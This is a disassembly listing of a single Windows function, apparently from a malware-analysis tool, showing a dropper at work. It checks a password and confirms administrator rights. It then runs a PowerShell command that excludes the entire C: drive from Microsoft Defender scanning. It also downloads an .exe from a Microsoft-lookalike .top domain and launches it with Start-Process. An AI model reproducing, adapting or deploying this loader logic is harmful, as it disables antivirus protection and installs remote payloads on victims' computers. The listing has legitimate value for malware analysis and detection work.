Function at 0x1400041e0
Capabilities:
Create process on windows
Get common file path
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rbp + 0x570], rax
xor r12d, r12d
call fcn.140003410
test al, al
jne 0x140004263
lea rdx, str.Folder_lib_not_found_next_to_the_program._Exiting.
lea rcx, [0x14003c8c0]
call fcn.140005d00
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006fe0
movzx edx, ax
mov rcx, rbx
call fcn.140006e30
mov rcx, rbx
call fcn.140006cd0
jmp 0x140004fd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], r12b
call fcn.140005770
lea rdx, [rbp + 0x50]
call fcn.140005a50
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
mov r8d, 0x12
lea rdx, str.h43_ckdh_ckgus_3f4
lea rcx, [rbp + 0x30]
call fcn.140006870
lea rdx, [rbp + 0x30]
mov rdi, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x48]
cmp rsi, 0xf
cmova rdx, rdi
lea rcx, [rbp + 0x50]
mov rbx, qword [rbp + 0x50]
mov r14, qword [rbp + 0x68]
cmp r14, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0x60]
cmp r8, qword [rbp + 0x40]
jne 0x1400042ed
call fcn.1400288b0
test eax, eax
jne 0x1400042ed
mov r15b, 1
jmp 0x1400042f0
xor r15b, r15b
cmp rsi, 0xf
jbe 0x140004328
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000431f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000500e
mov rcx, rdi
call fcn.14000c310
nop
cmp r14, 0xf
jbe 0x14000435f
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004357
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005002
mov rcx, rbx
call fcn.14000c310
test r15b, r15b
jne 0x140004370
lea rdx, str.Incorrect_password._Access_denied.
jmp 0x14000422b
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov r8d, 0x70
lea rdx, str.https:__servivemirctosoftliveanble.top_kKLFHRRKLFKJLj34345734786frhjrelkwefhjKJjhfjwkgjkJFRKFRHJ342334KLFJK_lica
lea rcx, [rbp + 0x108]
call fcn.140006460
nop
lea rcx, [rbp + 0xc8]
call fcn.1400039e0
nop
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x100], r12
lea rax, [rbp + 0x150]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400043f1
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe8]
call fcn.140006460
nop
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov rsi, qword [rbp + 0xf8]
sub rax, rsi
cmp rax, 1
jb 0x140005014
lea r15, [rbp + 0xe8]
mov r12, qword [rbp + 0xe8]
mov r13, qword [rbp + 0x100]
cmp r13, 7
cmova r15, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [rsi + 1]
mov ebx, 7
lea rdi, [rsp + 0x60]
movabs rax, 0x7fffffffffffffff
mov edx, 0xa
cmp r14, rbx
jbe 0x1400044f3
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x1400044c9
mov rbx, rcx
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400044e6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005026
mov rcx, rax
call fcn.14000c318
test rax, rax
je 0x14000501a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400044ee
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x140005026
add rcx, rcx
jne 0x140004494
xor eax, eax
jmp 0x1400044eb
call fcn.14000c318
mov rdi, rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
lea rbx, [rsi + rsi]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.140027e60
mov word [rbx + rdi], 0x5c
xor r15d, r15d
mov word [rdi + r14*2], r15w
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rsp + 0x60]
call fcn.140005120
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp + 0x30]
call fcn.140005120
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x140004600
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005020
call fcn.14000c310
movdqa xmm0, xmmword [0x140034f50]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000465c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000464f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000502c
call fcn.14000c310
movdqa xmm0, xmmword [0x140034f50]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r15w
mov dword [rbp + 8], r15d
mov qword [rbp - 0x80], r15
mov dword [rbp], 0
mov word [rbp + 4], 0x500
lea rax, [rbp - 0x80]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400046da
lea r8, [rbp + 8]
mov rdx, qword [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 8], 0
je 0x140004d9d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
mov r8d, 0x3f
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_C:_
lea rcx, [rbp + 0xa8]
call fcn.140006460
nop
mov dword [rbp - 0x70], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], eax
mov dword [rbp - 0x6c], 0x40
mov qword [rbp - 0x68], r15
lea rax, str.runas
mov qword [rbp - 0x60], rax
lea rax, str.powershell.exe
mov qword [rbp - 0x58], rax
lea rax, str._Command__Add_MpPreference__ExclusionPath_C:_
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r15
mov dword [rbp - 0x40], 1
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400047be
lea rdx, str.Failed_to_launch_PowerShell_to_add_exclusion.
lea rcx, [0x14003c9f0]
call fcn.140005d00
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006fe0
movzx edx, ax
mov rcx, rbx
call fcn.140006e30
mov rcx, rbx
call fcn.140006cd0
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x140004804
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005032
call fcn.14000c310
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x128]
call fcn.140003c20
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x90]
call fcn.140003db0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov r14, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x98]
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
cmp r14, rsi
jne 0x14000486e
mov byte [rbp + 0x10], 0
jmp 0x140004948
sub rsi, r14
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140005038
mov edi, 0xf
cmp rsi, rdi
jbe 0x140004922
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x1400048d9
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c318
mov rcx, rax
test rax, rax
je 0x140005062
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x28], rdi
jmp 0x140004926
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400048fb
mov rax, r15
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x28], rdi
jmp 0x140004926
cmp rcx, 0x1000
jb 0x140004913
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005008
jmp 0x1400048af
call fcn.14000c318
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x28], rdi
jmp 0x140004926
mov rax, qword [rbp + 0x10]
lea rbx, [rbp + 0x10]
cmp rdi, 0xf
cmova rbx, rax
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call fcn.140027e60
mov qword [rbp + 0x20], rsi
mov byte [rbx + rsi], 0
lea rdx, str.Downloading_file_from:
lea rcx, [0x14003c8c0]
call fcn.140005d00
mov rbx, rax
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r8, qword [rbp + 0x10]
add r8, qword [rbp + 0x20]
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xa8]
call fcn.140005fc0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140004999
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.1400074d0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006fe0
movzx edx, ax
mov rcx, rbx
call fcn.140006e30
mov rcx, rbx
call fcn.140006cd0
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x140004a12
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000503e
call fcn.14000c310
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
add r8, rdx
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xa8]
call fcn.140005fc0
nop
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.140003f60
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x140004a95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005044
call fcn.14000c310
mov r14, qword [rbp + 0x80]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 0x28
jb 0x14000504a
lea r15, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova r15, qword [rbp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rsi, [r14 + 0x28]
mov edi, 7
lea rbx, [rbp + 0x30]
cmp rsi, rdi
jbe 0x140004b77
mov rdi, rsi
or rdi, 7
cmp rdi, rcx
jbe 0x140004b3e
mov rdi, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140004b6b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005056
mov rcx, rax
call fcn.14000c318
test rax, rax
je 0x140005050
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140004b73
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140005056
add rcx, rcx
jne 0x140004b09
xor eax, eax
jmp 0x140004b70
call fcn.14000c318
mov rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rdi
movaps xmm0, xmmword [str.powershell.exe__Command__Start_Process_]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x140034df0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x140034e00]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x140034e10]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x140034e20]
movups xmmword [rbx + 0x40], xmm0
lea rcx, [rbx + 0x50]
lea r8, [r14 + r14]
mov rdx, r15
call fcn.140027e60
xor r15d, r15d
mov word [rbx + rsi*2], r15w
mov r8d, 2
lea rdx, [0x140034dd8]
lea rcx, [rbp + 0x30]
call fcn.140005120
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x140004c51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005050
call fcn.14000c310
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rcx, qword [rbp + 0x50]
call fcn.140011d68
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x140004ca4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000505c
call fcn.14000c310
movdqa xmm0, xmmword [0x140034f50]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], r15w
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140004cf1
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005062
call fcn.14000c310
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x140004d53
mov rdx, qword [rbp + 0xa0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005068
call fcn.14000c310
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r15
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x140004e97
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000506e
call fcn.14000c310
jmp 0x140004e97
lea rdx, str.Running_with_administrator_privileges...
lea rcx, [0x14003c8c0]
call fcn.140005d00
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006fe0
movzx edx, ax
mov rcx, rbx
call fcn.140006e30
mov rcx, rbx
call fcn.140006cd0
mov r8d, 0x104
lea rdx, [rbp + 0x360]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp - 0x70], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], eax
mov dword [rbp - 0x6c], 0x40
mov qword [rbp - 0x68], r15
lea rax, str.runas
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x360]
mov qword [rbp - 0x58], rax
lea rax, [0x14003483c]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r15
mov dword [rbp - 0x40], 1
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140004e97
lea rdx, str.Failed_to_launch_process_with_administrator_privileges.
lea rcx, [0x14003c9f0]
call fcn.140005d00
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006fe0
movzx edx, ax
mov rcx, rbx
call fcn.140006e30
mov rcx, rbx
call fcn.140006cd0
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140004eda
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ed5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005074
call fcn.14000c310
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], r15w
cmp r13, 7
jbe 0x140004f2e
lea rdx, [r13*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x140004f25
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000507a
mov rcx, r12
call fcn.14000c310
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x140004f74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005080
call fcn.14000c310
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], 7
mov word [rbp + 0xc8], r15w
mov rdx, qword [rbp + 0x120]
cmp rdx, 7
jbe 0x140004fd0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005002
call fcn.14000c310
xor eax, eax
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.14000c2f0
lea r11, [rsp + 0x680]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400122c4
nop
call fcn.1400014a0
nop
call fcn.1400122c4
nop
call fcn.140001540
int3
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400014a0
nop
call fcn.1400122c4
int3
call fcn.1400122c4
nop
call fcn.140001540
nop
call fcn.1400122c4
int3
call fcn.1400122c4
int3
call fcn.140001540
int3
call fcn.1400122c4
int3
call fcn.1400014a0
int3
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400122c4
nop
call fcn.1400122c4
int3